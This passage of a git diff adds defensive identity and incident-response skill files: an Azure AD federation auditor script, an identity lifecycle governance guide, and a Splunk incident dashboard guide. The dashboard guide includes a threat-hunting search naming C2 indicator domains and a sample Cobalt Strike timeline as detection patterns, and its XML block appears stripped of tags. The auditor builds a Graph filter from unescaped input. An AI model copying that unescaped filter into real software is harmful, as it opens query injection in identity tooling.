--git a/skills/building-identity-federation-with-saml-azure-ad/scripts/process.py b/skills/building-identity-federation-with-saml-azure-ad/scripts/process.py new file mode 100644 index 00000000..b890dee3 --- /dev/null +++ b/skills/building-identity-federation-with-saml-azure-ad/scripts/process.py @@ -0,0 +1,220 @@ +#!/usr/bin/env python3 +""" +Azure AD Federation Configuration Auditor + +Validates federation configuration between on-premises AD FS and Azure AD, +checks certificate health, and monitors federation authentication events. + +Requirements: + pip install msal requests cryptography +""" + +import json +import sys +from datetime import datetime, timezone + +try: + import requests + import msal + from cryptography import x509 +except ImportError: + print("[ERROR] Required: pip install msal requests cryptography") + sys.exit(1) + + +class FederationAuditor: + """Audit Azure AD federation configuration and health.""" + + def __init__(self, tenant_id, client_id, client_secret): + self.tenant_id = tenant_id + self.token = self._get_token(tenant_id, client_id, client_secret) + + def _get_token(self, tenant_id, client_id, client_secret): + app = msal.ConfidentialClientApplication( + client_id, + authority=f"https://login.microsoftonline.com/{tenant_id}", + client_credential=client_secret, + ) + result = app.acquire_token_for_client( + scopes=["https://graph.microsoft.com/.default"] + ) + if "access_token" in result: + return result["access_token"] + raise Exception(f"Auth failed: {result.get('error_description')}") + + def _graph_get(self, endpoint): + headers = {"Authorization": f"Bearer {self.token}"} + resp = requests.get( + f"https://graph.microsoft.com/v1.0{endpoint}", + headers=headers, + ) + resp.raise_for_status() + return resp.json() + + def get_domains(self): + """List all domains and their authentication type.""" + result = self._graph_get("/domains") + domains = [] + for domain in result.get("value", []): + domains.append({ + "id": domain["id"], + "isVerified": domain.get("isVerified", False), + "authenticationType": domain.get("authenticationType", "Unknown"), + "isDefault": domain.get("isDefault", False), + "isRoot": domain.get("isRoot", False), + }) + return domains + + def get_federation_config(self, domain_id): + """Get federation configuration for a specific domain.""" + try: + result = self._graph_get( + f"/domains/{domain_id}/federationConfiguration" + ) + configs = result.get("value", []) + return configs[0] if configs else None + except requests.HTTPError as e: + if e.response.status_code == 404: + return None + raise + + def validate_adfs_metadata(self, metadata_url): + """Fetch and validate AD FS federation metadata endpoint.""" + try: + resp = requests.get(metadata_url, timeout=15) + resp.raise_for_status() + + from lxml import etree + root = etree.fromstring(resp.content) + ns = {"md": "urn:oasis:names:tc:SAML:2.0:metadata"} + + entity_id = root.get("entityID") + certs = root.findall( + ".//md:IDPSSODescriptor/md:KeyDescriptor/ds:KeyInfo" + "/ds:X509Data/ds:X509Certificate", + {**ns, "ds": "http://www.w3.org/2000/09/xmldsig#"}, + ) + + return { + "reachable": True, + "entity_id": entity_id, + "certificate_count": len(certs), + "metadata_size": len(resp.content), + } + except requests.RequestException as e: + return {"reachable": False, "error": str(e)} + except Exception as e: + return {"reachable": True, "parse_error": str(e)} + + def check_certificate_expiry(self, cert_base64): + """Check federation signing certificate expiration.""" + try: + import base64 + cert_der = base64.b64decode(cert_base64) + cert = x509.load_der_x509_certificate(cert_der) + now = datetime.now(timezone.utc) + days_left = (cert.not_valid_after_utc - now).days + + return { + "subject": cert.subject.rfc4514_string(), + "not_after": cert.not_valid_after_utc.isoformat(), + "days_until_expiry": days_left, + "is_expired": days_left < 0, + "needs_renewal": days_left < 30, + } + except Exception as e: + return {"error": str(e)} + + def get_signin_logs(self, federated_domain, top=50): + """Get recent sign-in logs for federated users.""" + try: + result = self._graph_get( + f"/auditLogs/signIns?" + f"$filter=userPrincipalName endswith '{federated_domain}'" + f"&$top={top}&$orderby=createdDateTime desc" + ) + logs = [] + for log in result.get("value", []): + logs.append({ + "user": log.get("userPrincipalName"), + "createdDateTime": log.get("createdDateTime"), + "status": log.get("status", {}).get("errorCode", 0), + "statusDetail": log.get("status", {}).get("failureReason", "Success"), + "appDisplayName": log.get("appDisplayName"), + "authenticationProtocol": log.get("authenticationProtocol"), + "ipAddress": log.get("ipAddress"), + }) + return logs + except requests.HTTPError: + return [] + + def generate_federation_audit_report(self): + """Generate comprehensive federation health report.""" + domains = self.get_domains() + federated_domains = [d for d in domains if d["authenticationType"] == "Federated"] + + report = { + "report_title": "Azure AD Federation Audit Report", + "tenant_id": self.tenant_id, + "generated_at": datetime.now(timezone.utc).isoformat(), + "total_domains": len(domains), + "federated_domains": len(federated_domains), + "domain_details": [], + "findings": [], + } + + for domain in federated_domains: + domain_id = domain["id"] + fed_config = self.get_federation_config(domain_id) + + domain_detail = { + "domain": domain_id, + "is_verified": domain["isVerified"], + "federation_config": fed_config is not None, + } + + if fed_config: + issuer = fed_config.get("issuerUri", "") + sign_in_url = fed_config.get("passiveSignInUri", "") + domain_detail["issuer_uri"] = issuer + domain_detail["sign_in_url"] = sign_in_url + + signing_cert = fed_config.get("signingCertificate", "") + if signing_cert: + cert_health = self.check_certificate_expiry(signing_cert) + domain_detail["certificate_health"] = cert_health + + if cert_health.get("is_expired"): + report["findings"].append({ + "severity": "Critical", + "domain": domain_id, + "finding": "Federation signing certificate is EXPIRED", + "action": "Immediately rotate certificate in AD FS and update Azure AD", + }) + elif cert_health.get("needs_renewal"): + report["findings"].append({ + "severity": "High", + "domain": domain_id, + "finding": f"Federation certificate expires in {cert_health['days_until_expiry']} days", + "action": "Schedule certificate rotation before expiry", + }) + + report["domain_details"].append(domain_detail) + + return report + + +if __name__ == "__main__": + print("=" * 60) + print("Azure AD Federation Configuration Auditor") + print("=" * 60) + print() + print("Usage:") + print(" auditor = FederationAuditor(tenant_id, client_id, secret)") + print(" report = auditor.generate_federation_audit_report()") + print(" print(json.dumps(report, indent=2))") + print() + print("Required Microsoft Graph permissions:") + print(" - Domain.Read.All") + print(" - AuditLog.Read.All") + print(" - Directory.Read.All") diff --git a/skills/building-identity-governance-lifecycle-process/SKILL.md b/skills/building-identity-governance-lifecycle-process/SKILL.md new file mode 100644 index 00000000..104b6fde --- /dev/null +++ b/skills/building-identity-governance-lifecycle-process/SKILL.md @@ -0,0 +1,676 @@ +--- +name: building-identity-governance-lifecycle-process +description: > + Builds comprehensive identity governance and lifecycle management processes including + joiner-mover-leaver automation, role mining, access request workflows, periodic + recertification, and orphaned account remediation using IGA platforms. + Activates for requests involving identity lifecycle management, JML processes, + role-based access provisioning, or identity governance program design. +domain: cybersecurity +subdomain: identity-access-management +tags: [identity-governance, lifecycle-management, JML, access-provisioning, RBAC, IGA] +version: "1.0" +author: mahipal +license: MIT +--- + +# Building Identity Governance Lifecycle Process + +## When to Use + +- Organization lacks automated joiner-mover-leaver (JML) processes for identity management +- Access provisioning is manual and takes days, creating productivity loss and security gaps +- Former employees retain access to systems after termination (orphaned accounts) +- Role explosion has created thousands of roles with unclear ownership and overlapping entitlements +- Compliance requirements mandate documented identity lifecycle processes (SOX, HIPAA, GDPR) +- No centralized visibility into who has access to what across the enterprise + +**Do not use** for single-application user management; identity governance addresses cross-system lifecycle management requiring correlation of authoritative HR sources with downstream application provisioning. + +## Prerequisites + +- Authoritative HR system (Workday, SAP SuccessFactors, BambooHR) as identity source of truth +- IGA platform (SailPoint, Saviynt, One Identity) or Microsoft Entra ID Governance +- Active Directory and/or Azure AD as primary directory services +- Application connectors for target systems requiring automated provisioning +- Defined organizational role structure and reporting hierarchy +- Stakeholder buy-in from HR, IT, security, and business unit managers + +## Workflow + +### Step 1: Define Identity Lifecycle States and Transitions + +Map the identity lifecycle from hire to termination: + +```python +""" +Identity Lifecycle State Machine +Defines all identity states and valid transitions with automated actions. +""" + +IDENTITY_LIFECYCLE = { + "states": { + "PRE_HIRE": { + "description": "Identity created from HR feed before start date", + "automated_actions": [ + "Create identity record in IGA platform", + "Generate unique employee ID", + "Create mailbox reservation", + "Assign birthright roles based on job code", + "Initiate background check workflow" + ], + "valid_transitions": ["ACTIVE", "CANCELLED"] + }, + "ACTIVE": { + "description": "Employee has started, full access provisioned", + "automated_actions": [ + "Create Active Directory account", + "Create email mailbox", + "Provision birthright application access", + "Assign department-specific roles", + "Add to distribution groups", + "Issue MFA token/security key", + "Create VPN account if remote worker" + ], + "valid_transitions": ["ROLE_CHANGE", "LEAVE_OF_ABSENCE", "TERMINATED"] + }, + "ROLE_CHANGE": { + "description": "Employee transferred, promoted, or changed departments", + "automated_actions": [ + "Recalculate role assignments based on new job code", + "Remove access from previous department applications", + "Provision access for new department applications", + "Update group memberships", + "Transfer manager in directory", + "Trigger access review for retained entitlements", + "Notify new manager of inherited access" + ], + "valid_transitions": ["ACTIVE", "LEAVE_OF_ABSENCE", "TERMINATED"] + }, + "LEAVE_OF_ABSENCE": { + "description": "Employee on extended leave (medical, parental, sabbatical)", + "automated_actions": [ + "Disable interactive login (preserve account)", + "Suspend VPN access", + "Set out-of-office auto-reply", + "Delegate mailbox to manager", + "Preserve all role assignments for return", + "Set reactivation date from HR feed" + ], + "valid_transitions": ["ACTIVE", "TERMINATED"] + }, + "TERMINATED": { + "description": "Employee has left the organization", + "automated_actions": [ + "Disable AD account immediately", + "Revoke all application access", + "Revoke VPN and remote access", + "Convert mailbox to shared (manager access for 90 days)", + "Transfer OneDrive files to manager", + "Remove from all security and distribution groups", + "Revoke OAuth tokens and API keys", + "Wipe corporate data from mobile devices", + "Archive identity record", + "Schedule account deletion after retention period" + ], + "valid_transitions": ["REHIRE", "DELETED"] + }, + "REHIRE": { + "description": "Previously terminated employee returning", + "automated_actions": [ + "Reactivate existing identity record", + "Reset credentials and require MFA re-enrollment", + "Provision based on new job code (not previous access)", + "Flag for enhanced access review in first 30 days" + ], + "valid_transitions": ["ACTIVE"] + }, + "DELETED": { + "description": "Account permanently removed after retention period", + "automated_actions": [ + "Delete AD account", + "Delete email mailbox archive", + "Remove identity record from IGA", + "Generate deletion audit log" + ], + "valid_transitions": [] + } + }, + "retention_periods": { + "terminated_to_deleted": "90 days (default)", + "mailbox_retention": "90 days as shared mailbox", + "onedrive_retention": "30 days manager access, then archived", + "audit_log_retention": "7 years for compliance" + } +} +``` + +### Step 2: Implement Authoritative Source Integration + +Connect HR system as the single source of truth for identity data: + +```python +""" +HR Source Integration - Workday to IGA Platform Connector +Polls Workday for employee lifecycle events and triggers provisioning. +""" +import requests +from datetime import datetime, timedelta +import logging + +class WorkdayIdentityConnector: + def __init__(self, config): + self.base_url = config["workday_api_url"] + self.tenant = config["tenant"] + self.client_id = config["client_id"] + self.client_secret = config["client_secret"] + self.session = requests.Session() + self.logger = logging.getLogger("workday_connector") + + def get_access_token(self): + """Authenticate to Workday REST API.""" + token_url = f"{self.base_url}/ccx/oauth2/{self.tenant}/token" + response = self.session.post(token_url, data={ + "grant_type": "client_credentials", + "client_id": self.client_id, + "client_secret": self.client_secret + }) + response.raise_for_status() + return response.json()["access_token"] + + def fetch_worker_changes(self, since_datetime): + """Fetch all worker lifecycle events since the last sync.""" + headers = {"Authorization": f"Bearer {self.get_access_token()}"} + params = { + "Updated_From": since_datetime.isoformat(), + "Updated_Through": datetime.utcnow().isoformat(), + "Count": 100 + } + + workers = [] + url = f"{self.base_url}/ccx/api/v1/{self.tenant}/workers" + + while url: + response = self.session.get(url, headers=headers, params=params) + response.raise_for_status() + data = response.json() + workers.extend(data.get("data", [])) + url = data.get("next", None) + params = {} + + return workers + + def map_lifecycle_event(self, worker): + """Map Workday worker data to identity lifecycle event.""" + worker_data = worker.get("workerData", {}) + employment = worker_data.get("employmentData", {}) + personal = worker_data.get("personalData", {}) + + event = { + "employee_id": worker.get("id"), + "first_name": personal.get("legalName", {}).get("firstName"), + "last_name": personal.get("legalName", {}).get("lastName"), + "email": worker_data.get("emailAddress"), + "job_code": employment.get("jobProfile", {}).get("id"), + "job_title": employment.get("jobProfile", {}).get("name"), + "department": employment.get("organization", {}).get("name"), + "department_code": employment.get("organization", {}).get("id"), + "manager_id": employment.get("managerId"), + "location": employment.get("location", {}).get("name"), + "cost_center": employment.get("costCenter", {}).get("id"), + "hire_date": employment.get("hireDate"), + "termination_date": employment.get("terminationDate"), + "status": employment.get("status"), + "worker_type": employment.get("workerType"), + } + + # Determine lifecycle transition + if event["status"] == "Active" and event["hire_date"]: + hire_date = datetime.fromisoformat(event["hire_date"]) + if hire_date > datetime.utcnow(): + event["lifecycle_event"] = "PRE_HIRE" + else: + event["lifecycle_event"] = "JOINER" + elif event["status"] == "Active": + event["lifecycle_event"] = "MOVER" # Department or role change + elif event["status"] == "Terminated": + event["lifecycle_event"] = "LEAVER" + elif event["status"] == "On Leave": + event["lifecycle_event"] = "LEAVE_OF_ABSENCE" + + return event + + def process_lifecycle_events(self, since_datetime): + """Main processing loop for identity lifecycle events.""" + workers = self.fetch_worker_changes(since_datetime) + events = [] + + for worker in workers: + event = self.map_lifecycle_event(worker) + events.append(event) + self.logger.info( + f"Lifecycle event: {event['lifecycle_event']} for " + f"{event['first_name']} {event['last_name']} " + f"(EmpID: {event['employee_id']})" + ) + + return events +``` + +### Step 3: Implement Role Mining and Birthright Access + +Define roles based on job functions for automated provisioning: + +```python +""" +Role Mining Engine +Analyzes existing access patterns to derive role definitions +for birthright (automatic) provisioning. +""" +import pandas as pd +from collections import Counter +from itertools import combinations + +class RoleMiningEngine: + def __init__(self, access_data): + """ + access_data: DataFrame with columns + [employee_id, job_code, department, application, entitlement] + """ + self.access_data = access_data + + def mine_birthright_roles(self, min_assignment_pct=0.8): + """ + Identify entitlements that should be automatically assigned + based on job code. If 80%+ of users with same job code + have an entitlement, it becomes birthright access. + """ + birthright_roles = {} + + for job_code, group in self.access_data.groupby("job_code"): + total_users = group["employee_id"].nunique() + entitlement_counts = group.groupby( + ["application", "entitlement"] + )["employee_id"].nunique() + + birthright_entitlements = [] + for (app, ent), count in entitlement_counts.items(): + pct = count / total_users + if pct >= min_assignment_pct: + birthright_entitlements.append({ + "application": app, + "entitlement": ent, + "assignment_percentage": round(pct * 100, 1), + "user_count": count + }) + + if birthright_entitlements: + birthright_roles[job_code] = { + "job_code": job_code, + "total_users": total_users, + "birthright_entitlements": birthright_entitlements + } + + return birthright_roles + + def detect_role_explosion(self): + """Identify roles with excessive overlap indicating need for consolidation.""" + roles = self.access_data.groupby("job_code").apply( + lambda x: set(zip(x["application"], x["entitlement"])) + ) + + overlap_report = [] + for (role1, ents1), (role2, ents2) in combinations(roles.items(), 2): + if len(ents1) == 0 or len(ents2) == 0: + continue + overlap = len(ents1 & ents2) + max_size = max(len(ents1), len(ents2)) + overlap_pct = overlap / max_size * 100 + + if overlap_pct > 70: + overlap_report.append({ + "role_1": role1, + "role_2": role2, + "role_1_entitlements": len(ents1), + "role_2_entitlements": len(ents2), + "overlapping_entitlements": overlap, + "overlap_percentage": round(overlap_pct, 1), + "recommendation": "CONSOLIDATE" if overlap_pct > 90 else "REVIEW" + }) + + return sorted(overlap_report, key=lambda x: x["overlap_percentage"], reverse=True) + + def find_orphaned_access(self): + """ + Find entitlements that no longer align with any role definition. + These are exceptions that accumulated over time. + """ + # Get birthright definitions + birthright = self.mine_birthright_roles(min_assignment_pct=0.5) + + orphaned = [] + for _, row in self.access_data.iterrows(): + job_birthright = birthright.get(row["job_code"], {}) + expected_ents = set() + for ent in job_birthright.get("birthright_entitlements", []): + expected_ents.add((ent["application"], ent["entitlement"])) + + current_ent = (row["application"], row["entitlement"]) + if current_ent not in expected_ents: + orphaned.append({ + "employee_id": row["employee_id"], + "job_code": row["job_code"], + "application": row["application"], + "entitlement": row["entitlement"], + "recommendation": "Review for revocation" + }) + + return pd.DataFrame(orphaned) +``` + +### Step 4: Build Access Request and Approval Workflow + +Implement self-service access request with risk-based approvals: + +```python +""" +Access Request Workflow Engine +Handles self-service access requests with multi-level approvals +based on risk classification of requested entitlements. +""" + +ACCESS_REQUEST_WORKFLOW = { + "risk_levels": { + "LOW": { + "description": "Standard business applications", + "examples": ["Email distribution groups", "SharePoint team sites", "Standard SaaS apps"], + "approval_chain": ["manager"], + "sla_hours": 4, + "auto_approve_if_birthright": True + }, + "MEDIUM": { + "description": "Sensitive data access or elevated permissions", + "examples": ["CRM admin", "Financial reporting", "HR systems"], + "approval_chain": ["manager", "application_owner"], + "sla_hours": 24, + "auto_approve_if_birthright": False + }, + "HIGH": { + "description": "Privileged access or regulated data", + "examples": ["Database admin", "Cloud admin", "PAM vault access"], + "approval_chain": ["manager", "application_owner", "security_team"], + "sla_hours": 48, + "auto_approve_if_birthright": False, + "require_justification": True, + "require_time_limit": True + }, + "CRITICAL": { + "description": "Domain admin, root access, or production data modification", + "examples": ["Domain Admin", "AWS root", "Production DB write"], + "approval_chain": ["manager", "application_owner", "security_team", "ciso"], + "sla_hours": 72, + "auto_approve_if_birthright": False, + "require_justification": True, + "require_time_limit": True, + "require_sod_check": True, + "max_duration_days": 90 + } + } +} + +class AccessRequestEngine: + def __init__(self, iga_client, risk_catalog): + self.iga = iga_client + self.risk_catalog = risk_catalog + + def submit_request(self, requester_id, entitlement_id, justification, duration_days=None): + """Submit an access request with automatic risk classification.""" + # Classify risk level of requested entitlement + risk_level = self.risk_catalog.get_risk_level(entitlement_id) + workflow = ACCESS_REQUEST_WORKFLOW["risk_levels"][risk_level] + + # Check if entitlement is birthright for requester's role + requester = self.iga.get_identity(requester_id) + is_birthright = self.iga.is_birthright_for_role( + entitlement_id, requester["job_code"] + ) + + if is_birthright and workflow.get("auto_approve_if_birthright"): + return self._auto_approve(requester_id, entitlement_id, "Birthright access") + + # Run SOD check if required + if workflow.get("require_sod_check"): + sod_violations = self.iga.check_sod(requester_id, entitlement_id) + if sod_violations: + return { + "status": "SOD_VIOLATION", + "violations": sod_violations, + "action": "Request requires compensating control approval" + } + + # Create approval chain + request = { + "requester": requester_id, + "entitlement": entitlement_id, + "risk_level": risk_level, + "justification": justification, + "duration_days": duration_days or workflow.get("max_duration_days"), + "approval_chain": self._build_approval_chain( + requester, workflow["approval_chain"] + ), + "sla_deadline": workflow["sla_hours"], + "status": "PENDING_APPROVAL" + } + + return self.iga.create_request(request) + + def _build_approval_chain(self, requester, approver_types): + """Resolve approval chain to actual approver identities.""" + chain = [] + for approver_type in approver_types: + if approver_type == "manager": + chain.append({ + "type": "manager", + "identity": requester["manager_id"], + "fallback": requester.get("skip_manager_id") + }) + elif approver_type == "application_owner": + chain.append({ + "type": "application_owner", + "identity": "resolved_at_runtime", + "fallback": "it-governance-team" + }) + elif approver_type == "security_team": + chain.append({ + "type": "group", + "identity": "security-governance-team", + "required_approvals": 1 + }) + elif approver_type == "ciso": + chain.append({ + "type": "role", + "identity": "CISO", + "fallback": "deputy-ciso" + }) + return chain +``` + +### Step 5: Implement Orphaned Account Detection and Remediation + +Identify and remediate accounts without active identity associations: + +```python +""" +Orphaned Account Detection +Identifies accounts in target systems that have no corresponding +active identity in the authoritative HR source. +""" + +class OrphanedAccountDetector: + def __init__(self, hr_connector, app_connectors): + self.hr = hr_connector + self.apps = app_connectors + + def detect_orphaned_accounts(self): + """Compare application accounts against HR active employees.""" + active_employees = set(self.hr.get_active_employee_ids()) + orphaned_accounts = [] + + for app_name, connector in self.apps.items(): + app_accounts = connector.get_all_accounts() + + for account in app_accounts: + correlated_id = account.get("employee_id") or account.get("correlation_id") + + if correlated_id and correlated_id not in active_employees: + # Check if recently terminated (within grace period) + termination_info = self.hr.get_termination_info(correlated_id) + + orphaned_accounts.append({ + "application": app_name, + "account_name": account["username"], + "correlated_employee_id": correlated_id, + "account_status": account.get("status", "unknown"), + "last_login": account.get("last_login"), + "termination_date": termination_info.get("date") if termination_info else None, + "days_since_termination": ( + (datetime.utcnow() - termination_info["date"]).days + if termination_info and termination_info.get("date") else None + ), + "risk_level": self._assess_orphan_risk(account, termination_info) + }) + + elif not correlated_id: + # Uncorrelated account - no link to any employee + orphaned_accounts.append({ + "application": app_name, + "account_name": account["username"], + "correlated_employee_id": None, + "account_status": account.get("status", "unknown"), + "last_login": account.get("last_login"), + "risk_level": "HIGH", + "reason": "Uncorrelated - no employee association" + }) + + return orphaned_accounts + + def _assess_orphan_risk(self, account, termination_info): + """Assess risk level of orphaned account.""" + if account.get("is_privileged"): + return "CRITICAL" + if termination_info and termination_info.get("involuntary"): + return "HIGH" + if account.get("status") == "active": + return "HIGH" + return "MEDIUM" + + def generate_remediation_plan(self, orphaned_accounts): + """Create remediation actions for orphaned accounts.""" + plan = [] + for account in orphaned_accounts: + if account["risk_level"] == "CRITICAL": + action = "DISABLE_IMMEDIATELY" + sla = "4 hours" + elif account["risk_level"] == "HIGH": + action = "DISABLE_WITHIN_24H" + sla = "24 hours" + else: + action = "REVIEW_AND_DISABLE" + sla = "7 days" + + plan.append({ + **account, + "remediation_action": action, + "sla": sla, + "assigned_to": "identity-governance-team" + }) + + return sorted(plan, key=lambda x: ["CRITICAL", "HIGH", "MEDIUM", "LOW"].index(x["risk_level"])) +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| **Joiner-Mover-Leaver (JML)** | Core identity lifecycle transitions covering employee onboarding (joiner), role/department changes (mover), and offboarding (leaver) | +| **Birthright Access** | Baseline entitlements automatically provisioned based on job code, department, or location without requiring an access request | +| **Role Mining** | Analysis of existing access patterns to derive role definitions by identifying common entitlement groupings across similar job functions | +| **Orphaned Account** | Application account that no longer has a corresponding active identity in the authoritative HR source, representing a security risk | +| **Authoritative Source** | System of record (typically HR) that serves as the single source of truth for identity attributes and employment status | +| **Access Request Workflow** | Self-service process enabling users to request additional entitlements with risk-based approval routing | + +## Tools & Systems + +- **SailPoint IdentityIQ/IdentityNow**: Enterprise IGA platform for lifecycle management, access certifications, and automated provisioning +- **Saviynt Enterprise Identity Cloud**: Cloud-native IGA with identity warehouse, access governance, and application access management +- **Microsoft Entra ID Governance**: Identity governance capabilities including lifecycle workflows, access reviews, and entitlement management +- **One Identity Manager**: IGA solution with business role management, attestation, and IT shop for access requests + +## Common Scenarios + +### Scenario: Building JML Process for 10,000-Employee Organization + +**Context**: Rapidly growing company has no automated identity lifecycle. IT manually creates accounts, taking 3-5 days for new hires. Terminated employees retain access for weeks. Audit found 2,300 orphaned accounts across 45 applications. + +**Approach**: +1. Integrate Workday as authoritative source with daily delta sync to IGA platform +2. Mine existing access patterns to define birthright roles for the top 20 job codes (covering 80% of employees) +3. Implement pre-hire provisioning triggered 7 days before start date for AD, email, and birthright apps +4. Build termination workflow that disables all access within 1 hour of HR status change +5. Create mover workflow that recalculates roles when job code or department changes +6. Deploy self-service access request portal with risk-based approval chains +7. Run orphaned account detection to identify and remediate the 2,300 existing orphans +8. Schedule quarterly access certifications to prevent access accumulation + +**Pitfalls**: +- Not defining a single authoritative source leads to conflicting identity data from multiple HR systems +- Mining roles without business validation creates technical roles that do not align with organizational structure +- Automating termination without grace period for knowledge transfer frustrates business managers +- Not handling contractor and vendor identities that exist outside the HR system + +## Output Format + +``` +IDENTITY GOVERNANCE LIFECYCLE REPORT +======================================= +Authoritative Source: Workday +IGA Platform: SailPoint IdentityIQ +Total Identities: 10,247 +Active Employees: 9,834 +Contractors: 413 + +LIFECYCLE AUTOMATION +Joiner (Pre-Hire) SLA: Target: 0 days | Actual: 0.2 days avg +Mover Processing SLA: Target: 1 day | Actual: 0.8 days avg +Leaver Disablement SLA: Target: 1 hour | Actual: 0.5 hours avg + +PROVISIONING METRICS (Last 30 Days) +New Hires Provisioned: 187 + Auto-Provisioned: 174 (93.0%) + Manual Intervention: 13 (7.0%) +Role Changes Processed: 89 +Terminations Processed: 43 + Within 1-Hour SLA: 41 (95.3%) + +ROLE GOVERNANCE +Defined Roles: 127 +Birthright Roles: 48 +Average Entitlements/Role: 12.3 +Role Overlap > 70%: 8 pairs (consolidation recommended) + +ORPHANED ACCOUNTS +Detected: 23 + Critical: 2 (privileged accounts) + High: 8 + Medium: 13 +Remediated (30 days): 19 +Outstanding: 4 + +ACCESS REQUESTS +Submitted: 342 +Auto-Approved (Birthright):87 (25.4%) +Approved: 231 (67.5%) +Denied: 24 (7.0%) +Average Approval Time: 6.2 hours +SOD Violations Flagged: 12 +``` diff --git a/skills/building-incident-response-dashboard/SKILL.md b/skills/building-incident-response-dashboard/SKILL.md new file mode 100644 index 00000000..2b018a29 --- /dev/null +++ b/skills/building-incident-response-dashboard/SKILL.md @@ -0,0 +1,290 @@ +--- +name: building-incident-response-dashboard +description: > + Builds real-time incident response dashboards in Splunk, Elastic, or Grafana to provide SOC + analysts and leadership with situational awareness during active incidents, tracking affected + systems, containment status, IOC spread, and response timeline. Use when IR teams need unified + visibility during incident coordination and post-incident reporting. +domain: cybersecurity +subdomain: soc-operations +tags: [soc, dashboard, incident-response, splunk, visualization, situational-awareness, metrics] +version: "1.0" +author: mahipal +license: MIT +--- +# Building Incident Response Dashboard + +## When to Use + +Use this skill when: +- IR teams need real-time dashboards during active incidents for coordination and tracking +- SOC leadership requires operational dashboards showing incident status and analyst workload +- Post-incident reviews need visual timelines and impact assessments +- Executive briefings require high-level incident metrics and trend analysis + +**Do not use** for day-to-day SOC monitoring dashboards (use Incident Review instead) — IR dashboards are designed for active incident coordination and management reporting. + +## Prerequisites + +- SIEM platform (Splunk with Dashboard Studio, Elastic Kibana, or Grafana) +- Notable event and incident data in SIEM (Splunk ES incident_review index) +- Ticketing system integration (ServiceNow, Jira) for remediation tracking +- Asset and identity lookup tables for context enrichment +- Dashboard publishing access for SOC team and management distribution + +## Workflow + +### Step 1: Design Active Incident Dashboard Layout + +Build a Splunk Dashboard Studio dashboard for active incident tracking: + +```xml + + + Real-time tracking for IR-2024-0450 + + + + Incident Summary + + + +| makeresults +| eval incident_id="IR-2024-0450", + status="CONTAINMENT", + severity="Critical", + affected_hosts=7, + contained_hosts=5, + iocs_identified=23, + hours_elapsed=round((now()-strptime("2024-03-15 14:00","%Y-%m-%d %H:%M"))/3600,1) +| table incident_id, status, severity, affected_hosts, contained_hosts, iocs_identified, hours_elapsed + + + + + + +``` + +### Step 2: Build Real-Time Affected Systems Panel + +Track affected systems and their containment status: + +```spl +| inputlookup ir_affected_systems.csv +| eval status_color = case( + status="Contained", "#2ecc71", + status="Compromised", "#e74c3c", + status="Investigating", "#f39c12", + status="Recovered", "#3498db", + 1=1, "#95a5a6" + ) +| stats count by status +| eval order = case(status="Compromised", 1, status="Investigating", 2, + status="Contained", 3, status="Recovered", 4) +| sort order +| table status, count + +--- Detailed host table +| inputlookup ir_affected_systems.csv +| lookup asset_lookup_by_cidr ip AS host_ip OUTPUT category, owner, priority +| table hostname, host_ip, category, owner, status, containment_time, + compromise_vector, analyst_assigned +| sort status, hostname +``` + +### Step 3: Build IOC Tracking Panel + +Monitor IOC spread across the environment: + +```spl +--- IOCs identified during incident +index=* (src_ip IN ("185.234.218.50", "45.77.123.45") OR + dest IN ("evil-c2.com", "malware-drop.com") OR + file_hash IN ("a1b2c3d4...", "e5f6a7b8...")) +earliest="2024-03-14" +| stats count AS hits, dc(src_ip) AS unique_sources, + dc(dest) AS unique_dests, latest(_time) AS last_seen + by sourcetype +| sort - hits + +--- IOC timeline +index=* (src_ip IN ("185.234.218.50") OR dest="evil-c2.com") +earliest="2024-03-14" +| timechart span=1h count by sourcetype + +--- New IOC discovery tracking +| inputlookup ir_ioc_list.csv +| stats count by ioc_type, source, discovery_time +| sort discovery_time +| table discovery_time, ioc_type, ioc_value, source, status +``` + +### Step 4: Build Response Timeline Panel + +Create chronological incident timeline: + +```spl +| inputlookup ir_timeline.csv +| sort _time +| eval phase = case( + action_type="detection", "Detection", + action_type="triage", "Triage", + action_type="containment", "Containment", + action_type="eradication", "Eradication", + action_type="recovery", "Recovery", + 1=1, "Other" + ) +| eval phase_color = case( + phase="Detection", "#e74c3c", + phase="Triage", "#f39c12", + phase="Containment", "#e67e22", + phase="Eradication", "#2ecc71", + phase="Recovery", "#3498db" + ) +| table _time, phase, action, analyst, details +``` + +Example timeline data: +```csv +_time,action_type,action,analyst,details +2024-03-15 14:00,detection,Alert triggered - Cobalt Strike beacon detected,splunk_es,Notable event NE-2024-08921 +2024-03-15 14:12,triage,Alert triaged - confirmed true positive,analyst_jdoe,VT score 52/72 on beacon hash +2024-03-15 14:23,containment,Host WORKSTATION-042 isolated,analyst_jdoe,CrowdStrike network isolation +2024-03-15 14:35,containment,C2 domain blocked on firewall,analyst_msmith,Palo Alto rule deployed +2024-03-15 15:00,eradication,Enterprise-wide IOC scan initiated,analyst_jdoe,Splunk search across all indices +2024-03-15 15:30,containment,3 additional hosts identified and isolated,analyst_msmith,Lateral movement confirmed +2024-03-15 16:00,eradication,Malware removed from all affected hosts,analyst_tier3,CrowdStrike RTR cleanup +2024-03-15 18:00,recovery,Systems restored and monitored,analyst_msmith,72-hour monitoring period started +``` + +### Step 5: Build SOC Operations Dashboard + +Track overall SOC performance metrics: + +```spl +--- Incident volume by severity (last 30 days) +index=notable earliest=-30d +| stats count by urgency +| eval order = case(urgency="critical", 1, urgency="high", 2, urgency="medium", 3, + urgency="low", 4, urgency="informational", 5) +| sort order + +--- MTTD (Mean Time to Detect) +index=notable earliest=-30d status_label="Resolved*" +| eval mttd_minutes = round((time_of_first_event - orig_time) / 60, 1) +| stats avg(mttd_minutes) AS avg_mttd, median(mttd_minutes) AS med_mttd, + perc95(mttd_minutes) AS p95_mttd + +--- MTTR (Mean Time to Respond/Resolve) +index=notable earliest=-30d status_label="Resolved*" +| eval mttr_hours = round((status_end - _time) / 3600, 1) +| stats avg(mttr_hours) AS avg_mttr, median(mttr_hours) AS med_mttr by urgency + +--- Analyst workload distribution +index=notable earliest=-7d +| stats count by owner +| sort - count + +--- Alert disposition breakdown +index=notable earliest=-30d status_label IN ("Resolved*", "Closed*") +| stats count by disposition +| eval percentage = round(count / sum(count) * 100, 1) +| sort - count +``` + +### Step 6: Build Executive Briefing Dashboard + +Create a high-level dashboard for leadership during major incidents: + +```spl +--- Executive summary panel +| makeresults +| eval metrics = "Business Impact: 1 file server offline (Finance dept), " + ."Estimated Recovery: 4 hours, " + ."Data Loss Risk: Low (backups verified), " + ."Customer Impact: None, " + ."Regulatory Notification: Not required (no PII exposure confirmed)" 